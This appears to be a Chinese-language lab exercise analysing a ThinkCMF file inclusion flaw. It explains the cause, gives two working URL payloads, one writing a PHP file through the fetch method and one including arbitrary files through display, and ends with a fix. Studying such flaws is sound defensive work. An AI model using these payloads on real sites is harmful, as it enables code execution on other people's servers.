ThinkCMF文件包含分析与防御

实验环境:
功能 属性
操作机 Windows xp
IP 192.168.0.3
目标机 Windows 7
IP 192.168.0.2
实验目的

ThinkCMF文件包含分析与防御

影响的版本 thinkcmf x1.6.0、2.1.0、2.2.0~2.2.3

设计者 : 匿名 难度 : 初级

漏洞原理

thinkcmf是基于thinkphp框架开发的,他有一些tp的特性,例如可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用\portal\indexcontroller父类(Homebasecontroller)中的一些权限为pubic的方法

漏洞利用

1、第一种方法

第一步用火狐浏览器访问192.168.0.2,之后通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,比如说test.php文件,内容为phpinfo()

payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

注意payload里面没有双引号,都是单引号。

访问执行完payload后的页面一片空白,这个时候就说明payload执行成功。

最后访问test.php文件,就可以看见显示出了phpinfo,说明代码写入了进去

2、第二种方法

用火狐浏览器访问192.168.0.2,通过构造a参数的display方法,实现任意文件包含漏洞

payload:/?a=display&templateFile=LICENSE.txt

那么就构造了一条链接:http://192.168.0.2/?a=display&templateFile=LICENSE.txt

LICENSE.txt是thinkcmf自带的文件,所以最后的结构就显示出了这个文件里面的内容

修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected